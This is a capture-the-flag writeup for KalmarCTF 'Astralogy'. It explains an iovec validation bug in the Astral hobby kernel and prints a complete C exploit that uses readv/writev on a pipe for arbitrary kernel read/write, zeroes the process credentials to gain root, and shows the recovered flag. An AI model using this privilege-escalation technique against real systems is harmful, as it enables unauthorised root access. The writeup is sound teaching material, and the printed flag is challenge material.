Logo

Writeup

KalmarCTF Astralogy — Writeup

M Mohammed-Amine Bouaafia
March 28, 2026
11 min read
pwn kernel osdev iovec qemu

Heyy :))) so this is my first time solving a kernel exploitation ( btw it is not 100% human solve i get important exploit parts using ai since I’m not familiar with kernel exploitation let’s move to the writeup rn )

lmaoooo

Astralogy — writeup

This writeup explains Astralogy in plain language so the full exploit path is easy to follow. The challenge gives us a hobby operating system named Astral, boots it inside QEMU, copies our uploaded block device to /home/astral/exploit, and expects us to break out of the unprivileged astral user and read /root/flag.txt.

The final exploit is not a ROP chain, not a shellcode trick, and not a race. It is a data-only kernel exploit:

  • find a kernel arbitrary read/write primitive
  • locate the current process credentials
  • zero the six credential integers
  • open /root/flag.txt as root

Because the kernel was compiled at fixed addresses and the VM only uses one CPU, that ended up being enough.


TL;DR (short summary)

  • The obvious pread/pwrite kernel-pointer bug was already patched by the challenge author.
  • The real bug is in Astral’s readv and writev path.
  • iovec_user_check() validates the wrong length field, so if the first iovec has length 0, later iovecs are never checked.
  • The iterator code then treats kernel addresses as safe and falls back to raw memcpy.
  • That gives arbitrary kernel read and arbitrary kernel write using a pipe.
  • Astral has no KASLR here, and the VM is single-core.
  • Reading bsp_cpu.thread gives the current thread pointer.
  • From there:
    • thread->proc is at offset 48
    • proc->cred is at offset 52
    • cred_t is six ints, so 24 bytes total
  • Zeroing those 24 bytes turns the current process into uid 0 / gid 0.
  • Then opening /root/flag.txt succeeds.

Final flag:

kalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}


Part 1 — The challenge setup

The local wrapper looked like this:

Terminal window
qemu-system-x86_64 \
-M q35 \
-m 256M \
-smp cpus=1 \
-cpu qemu64,+smep -enable-kvm \
-cdrom challenge.iso -boot dc \
-drive file="$exploit",format=raw,read-only,if=none,id=nvme \
-device virtio-blk,serial=deadc0ff,drive=nvme \
-nographic -monitor none

Important details:

  • -smp cpus=1 means there is only one CPU.
  • +smep means “jump to userland from kernel mode” is off the table.
  • Our payload is not executed directly by QEMU. It is exposed as a block device.

Inside the initrd, /etc/rc does this:

Terminal window
if [ -b /dev/vioblk0 ]; then
cp /dev/vioblk0 /home/astral/exploit
chown astral:astral /home/astral/exploit
chmod +x /home/astral/exploit
fi

So the service flow is:

  1. Upload a raw image.
  2. Astral copies that raw device to /home/astral/exploit.
  3. We log in as astral.
  4. We run ./exploit.

That means our payload should be a small static ELF inside a raw file, not a Linux userspace exploit that expects a full runtime.


Part 2 — The first clue: the challenge includes a hardening patch

The shipped hardening.patch tells you what the easy bug used to be.

It does three interesting things:

  1. It adds explicit user-pointer checks to syscall_pread() and syscall_pwrite().
  2. It enables SMEP by adding 0x100000 to CR4 setup.
  3. It clears DF on syscall entry.

The first point matters most. Before the patch, pread and pwrite forwarded the user pointer directly into the VFS layer without checking whether it really pointed into userspace. That would have been a trivial kernel read/write.

So the patch is effectively telling you:

  • “yes, there used to be a direct kernel pointer bug”
  • “no, you do not get to use it anymore”
  • “find the next user/kernel boundary mistake”

That pushed the analysis toward syscalls and device code that move user buffers around in more complex ways.


Part 3 — The real bug: readv / writev

Astral’s syscall_readv() and syscall_writev() copy the iovec array into kernel memory and then call iovec_user_check():

bool iovec_user_check(iovec_t *iovec, size_t count) {
for (int i = 0; i < count; ++i) {
// POSIX says that when len is zero, the addr can be an invalid buffer
if (iovec->len && IS_USER_ADDRESS(iovec[i].addr) == false)
return false;
}
return true;
}

The bug is subtle but deadly:

  • the code should check iovec[i].len
  • instead it checks iovec->len, which is iovec[0].len

So the first entry controls validation for the whole array.

If we make the first entry:

iov[0].len = 0;

then the condition is false for every loop iteration, which means:

  • entry 0 is accepted
  • entry 1 is accepted
  • entry 2 is accepted
  • every later entry is accepted

even if those entries point into kernel memory.

That is the bug.


Part 4 — Why this becomes arbitrary kernel read/write

The next step is understanding how Astral copies data through iovecs.

The relevant helper macros are:

#define USERCOPY_POSSIBLY_FROM_USER(kernel, user, size) \
(IS_USER_ADDRESS(user) ? usercopy_fromuser(kernel, user, size) : _usercopy_memcpy_wrapper(kernel, user, size))
#define USERCOPY_POSSIBLY_TO_USER(user, kernel, size) \
(IS_USER_ADDRESS(user) ? usercopy_touser(user, kernel, size) : _usercopy_memcpy_wrapper(user, kernel, size))

This is the key design mistake:

  • if the pointer looks like a userspace pointer, Astral uses fault-safe usercopy helpers
  • if the pointer does not look like a userspace pointer, Astral falls back to plain memcpy

That only makes sense if the caller already proved that the pointer is trusted kernel memory. Here, because iovec_user_check() can be bypassed, untrusted user-controlled pointers reach this code.

Now look at the iterator helpers:

error = USERCOPY_POSSIBLY_FROM_USER(
(void *)((uintptr_t)buffer + total_done),
(void *)((uintptr_t)iovec_iterator->current->addr + iovec_iterator->current_offset),
copy_current
);

and:

error = USERCOPY_POSSIBLY_FROM_USER(
(void *)((uintptr_t)iovec_iterator->current->addr + iovec_iterator->current_offset),
(void *)((uintptr_t)buffer + total_done),
copy_current
);

So:

  • writev() can copy from our iovec entry into some kernel-controlled buffer
  • readv() can copy from some kernel-controlled buffer into our iovec entry

If the iovec entry is a kernel pointer, those become raw kernel memory operations.


Part 5 — Building a stable primitive with a pipe

A pipe is the simplest way to turn that into something reliable.

Why a pipe?

  • no filesystem offsets to manage
  • easy byte buffering
  • the VFS path goes through the buggy iovec iterators
  • the data flow is very simple

The plan is:

  1. create a pipe
  2. use writev(pipe_write, iov, 2) with iov[1].addr = kernel_address
  3. the pipe’s write side copies from that kernel address into the pipe ringbuffer
  4. call read(pipe_read, out, len) to receive the leaked bytes in normal userspace

That is arbitrary kernel read.

For arbitrary kernel write:

  1. write our chosen bytes into the pipe using normal write(pipe_write, src, len)
  2. use readv(pipe_read, iov, 2) with iov[1].addr = kernel_address
  3. the pipe’s read side copies from the pipe ringbuffer into that kernel address

That is arbitrary kernel write.

So the exploit helpers become:

  • kread(addr, out, len)
  • kwrite(addr, src, len)

implemented with:

  • writev + read for reads
  • write + readv for writes

The zero-length first iovec is just the gate that disables validation:

iov[0].addr = (void *)0x1337000;
iov[0].len = 0;
iov[1].addr = (void *)kernel_address;
iov[1].len = len;

Entry 0 can point anywhere because POSIX allows invalid addresses for zero-length iovecs. Astral even tries to support that. The problem is that Astral accidentally lets that exception disable checks for later entries too.


Part 6 — Finding the current process

Once arbitrary kernel read/write exists, the rest is mostly bookkeeping.

First, I checked the kernel binary:

  • it is a fixed-address ET_EXEC
  • no KASLR was involved here
  • symbols were present

That means important globals can be used directly.

The easiest anchor was:

ffffffff800b2de0 b bsp_cpu

Astral’s cpu_t starts like this:

typedef struct cpu_t {
thread_t *thread;
struct cpu_t *self;
vmmcontext_t *vmmctx;
...
} cpu_t;

So at bsp_cpu + 0, the kernel stores the current thread pointer for the bootstrap CPU.

Because the VM uses only one CPU, bsp_cpu.thread is exactly the current thread we care about.

Then the structure offsets are:

thread->proc @ offset 48
proc->cred @ offset 52
cred_t size = 24 bytes

cred_t itself is:

typedef struct {
int uid, euid, suid;
int gid, egid, sgid;
} cred_t;

And Astral treats uid 0 / gid 0 as superuser:

#define CRED_SUPERUSER 0

So we do not need to patch function pointers, syscall tables, or code pages. We just write 24 zero bytes to:

proc + 52

After that, the current process is root.

That cleanly avoids SMEP:

  • no kernel PC control
  • no userland execution in ring 0
  • only data corruption

Part 7 — Small but important Astral-specific quirks

There were two non-Linux details that mattered while turning the primitive into a reliable solve.

7.1 pipe2 does not behave like Linux

On Linux, pipe2(int pipefd[2], int flags) writes the two FDs to a user buffer.

Astral does not do that.

Its syscall implementation is:

syscallret_t syscall_pipe2(context_t *, int flags) {
...
ret.ret = (uint64_t)readfd | ((uint64_t)writefd << 32);
return ret;
}

So the two file descriptors are packed into rax.

That means the exploit has to decode them like this:

pipefd[0] = (int)(ret.ret & 0xffffffffUL);
pipefd[1] = (int)((ret.ret >> 32) & 0xffffffffUL);

My first exploit attempt assumed Linux semantics and failed immediately.

7.2 The uploaded payload should be padded as a raw image

The remote service asks for a URL, downloads the file, and exposes it as a raw block device.

In practice, padding the image made the transport reliable:

Terminal window
cp exploit exploit.img
truncate -s 12288 exploit.img

Then Astral copied /dev/vioblk0 to /home/astral/exploit correctly and the guest file had the expected size.

Without that padding, the copied guest file was not reliable enough for exploitation.


Part 8 — Full exploit code

This is the exploit I used. It is intentionally tiny:

  • no libc
  • raw Astral syscalls
  • pipe-based kread / kwrite
  • credential overwrite
  • open and print the flag
#define NULL ((void *)0)
typedef unsigned long size_t;
typedef unsigned long uint64_t;
typedef long int64_t;
typedef struct {
void *addr;
size_t len;
} iovec_t;
typedef struct {
long ret;
long err;
} syscallret_t;
enum {
SYS_OPENAT = 2,
SYS_READ = 3,
SYS_CLOSE = 5,
SYS_WRITE = 7,
SYS_EXIT = 13,
SYS_PIPE2 = 22,
SYS_WRITEV = 97,
SYS_READV = 98,
};
#define AT_FDCWD (-100)
#define O_RDONLY 0
#define STDOUT_FILENO 1
#define STDERR_FILENO 2
#define BSP_CPU_ADDR 0xffffffff800b2de0UL
#define THREAD_PROC_OFF 48UL
#define PROC_CRED_OFF 52UL
#define CRED_SIZE 24UL
static inline syscallret_t syscall6(long nr, long a1, long a2, long a3, long a4, long a5, long a6) {
register long rax asm("rax") = nr;
register long rdi asm("rdi") = a1;
register long rsi asm("rsi") = a2;
register long rdx asm("rdx") = a3;
register long r10 asm("r10") = a4;
register long r8 asm("r8") = a5;
register long r9 asm("r9") = a6;
asm volatile(
"syscall"
: "+a"(rax), "+d"(rdx)
: "D"(rdi), "S"(rsi), "r"(r10), "r"(r8), "r"(r9)
: "rcx", "r11", "memory"
);
syscallret_t out = {
.ret = rax,
.err = rdx,
};
return out;
}
static inline syscallret_t syscall3(long nr, long a1, long a2, long a3) {
return syscall6(nr, a1, a2, a3, 0, 0, 0);
}
static inline syscallret_t syscall1(long nr, long a1) {
return syscall6(nr, a1, 0, 0, 0, 0, 0);
}
static inline syscallret_t sys_openat(long dirfd, const char *path, long flags, long mode) {
return syscall6(SYS_OPENAT, dirfd, (long)path, flags, mode, 0, 0);
}
static inline syscallret_t sys_read(long fd, void *buf, long count) {
return syscall3(SYS_READ, fd, (long)buf, count);
}
static inline syscallret_t sys_write(long fd, const void *buf, long count) {
return syscall3(SYS_WRITE, fd, (long)buf, count);
}
static inline syscallret_t sys_close(long fd) {
return syscall1(SYS_CLOSE, fd);
}
static inline syscallret_t sys_pipe2(long flags) {
return syscall1(SYS_PIPE2, flags);
}
static inline syscallret_t sys_writev(long fd, const iovec_t *iov, long count) {
return syscall3(SYS_WRITEV, fd, (long)iov, count);
}
static inline syscallret_t sys_readv(long fd, const iovec_t *iov, long count) {
return syscall3(SYS_READV, fd, (long)iov, count);
}
__attribute__((noreturn))
static inline void sys_exit(long status) {
(void)syscall1(SYS_EXIT, status);
for (;;)
asm volatile("hlt");
}
static size_t cstrlen(const char *s) {
size_t n = 0;
while (s[n] != '\0')
n++;
return n;
}
static void write_all(int fd, const void *buf, size_t len) {
const char *p = (const char *)buf;
while (len) {
syscallret_t ret = sys_write(fd, p, len);
if (ret.ret <= 0)
sys_exit(1);
p += ret.ret;
len -= (size_t)ret.ret;
}
}
static void puts2(const char *s) {
write_all(STDERR_FILENO, s, cstrlen(s));
}
static void puthex64(uint64_t value) {
static const char digits[] = "0123456789abcdef";
char buf[19];
buf[0] = '0';
buf[1] = 'x';
for (int i = 0; i < 16; i++)
buf[2 + i] = digits[(value >> (4 * (15 - i))) & 0xf];
buf[18] = '\n';
write_all(STDERR_FILENO, buf, sizeof(buf));
}
static void leak_into(int read_end, int write_end, uint64_t kaddr, void *out, size_t len) {
iovec_t iov[2];
iov[0].addr = (void *)0x1337000;
iov[0].len = 0;
iov[1].addr = (void *)kaddr;
iov[1].len = len;
syscallret_t ret = sys_writev(write_end, iov, 2);
if (ret.ret != (long)len || ret.err != 0)
sys_exit(2);
ret = sys_read(read_end, out, len);
if (ret.ret != (long)len || ret.err != 0)
sys_exit(3);
}
static void write_from(int read_end, int write_end, uint64_t kaddr, const void *src, size_t len) {
iovec_t iov[2];
syscallret_t ret = sys_write(write_end, src, len);
if (ret.ret != (long)len || ret.err != 0)
sys_exit(4);
iov[0].addr = (void *)0x1337000;
iov[0].len = 0;
iov[1].addr = (void *)kaddr;
iov[1].len = len;
ret = sys_readv(read_end, iov, 2);
if (ret.ret != (long)len || ret.err != 0)
sys_exit(5);
}
static uint64_t load_u64(const unsigned char *buf) {
uint64_t out = 0;
for (int i = 7; i >= 0; i--) {
out <<= 8;
out |= buf[i];
}
return out;
}
void _start(void) {
int pipefd[2];
unsigned char scratch[32];
unsigned char zeroes[CRED_SIZE];
puts2("start\n");
for (size_t i = 0; i < sizeof(zeroes); i++)
zeroes[i] = 0;
syscallret_t ret = sys_pipe2(0);
if (ret.ret < 0 || ret.err != 0)
sys_exit(10);
pipefd[0] = (int)(ret.ret & 0xffffffffUL);
pipefd[1] = (int)((ret.ret >> 32) & 0xffffffffUL);
puts2("pipe ok\n");
leak_into(pipefd[0], pipefd[1], BSP_CPU_ADDR, scratch, 8);
uint64_t thread = load_u64(scratch);
puts2("thread leaked\n");
leak_into(pipefd[0], pipefd[1], thread + THREAD_PROC_OFF, scratch, 8);
uint64_t proc = load_u64(scratch);
puts2("proc leaked\n");
write_from(pipefd[0], pipefd[1], proc + PROC_CRED_OFF, zeroes, sizeof(zeroes));
puts2("cred written\n");
puts2("thread=");
puthex64(thread);
puts2("proc=");
puthex64(proc);
ret = sys_close(pipefd[0]);
if (ret.ret != 0 || ret.err != 0)
sys_exit(11);
ret = sys_close(pipefd[1]);
if (ret.ret != 0 || ret.err != 0)
sys_exit(12);
ret = sys_openat(AT_FDCWD, "/root/flag.txt", O_RDONLY, 0);
if (ret.ret < 0 || ret.err != 0)
sys_exit(13);
puts2("flag opened\n");
int fd = (int)ret.ret;
for (;;) {
ret = sys_read(fd, scratch, sizeof(scratch));
if (ret.err != 0)
sys_exit(14);
if (ret.ret == 0)
break;
write_all(STDOUT_FILENO, scratch, (size_t)ret.ret);
}
(void)sys_close(fd);
sys_exit(0);
}

Part 9 — Building and running it

I built the payload as a tiny static ELF with no libc:

Terminal window
cc -nostdlib -static -fno-pie -no-pie -fno-stack-protector -fno-builtin \
-Wl,--build-id=none -Os exploit.c -o exploit

Then I wrapped it into a padded raw image:

Terminal window
cp exploit exploit.img
truncate -s 12288 exploit.img

Remote solve flow:

  1. connect with nc
  2. solve the hashcash challenge
  3. send a URL hosting exploit.img
  4. wait for Astral to boot
  5. run:
Terminal window
./exploit

Remote output:

start
pipe ok
thread leaked
proc leaked
cred written
thread=0xffff800020c06b30
proc=0xffff800020c39b40
flag opened
kalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}

Last Part — Recap about how we solve it

  • The patch removed the easy pread / pwrite primitive.
  • readv / writev still had a validation bug.
  • A zero-length first iovec disabled checks for all later iovecs.
  • The iovec copy helpers treated kernel pointers as plain memcpy targets.
  • A pipe converted that into kernel arbitrary read/write.
  • Fixed kernel addresses and one CPU made the current thread easy to find.
  • Overwriting proc->cred with zeroes made the process root.
  • Reading /root/flag.txt finished the challenge.

Final note and flag

Recovered flag:

kalmar{more_holes_than_swiss_cheese..._feel_free_to_share_your_exploit_in_a_ticket!}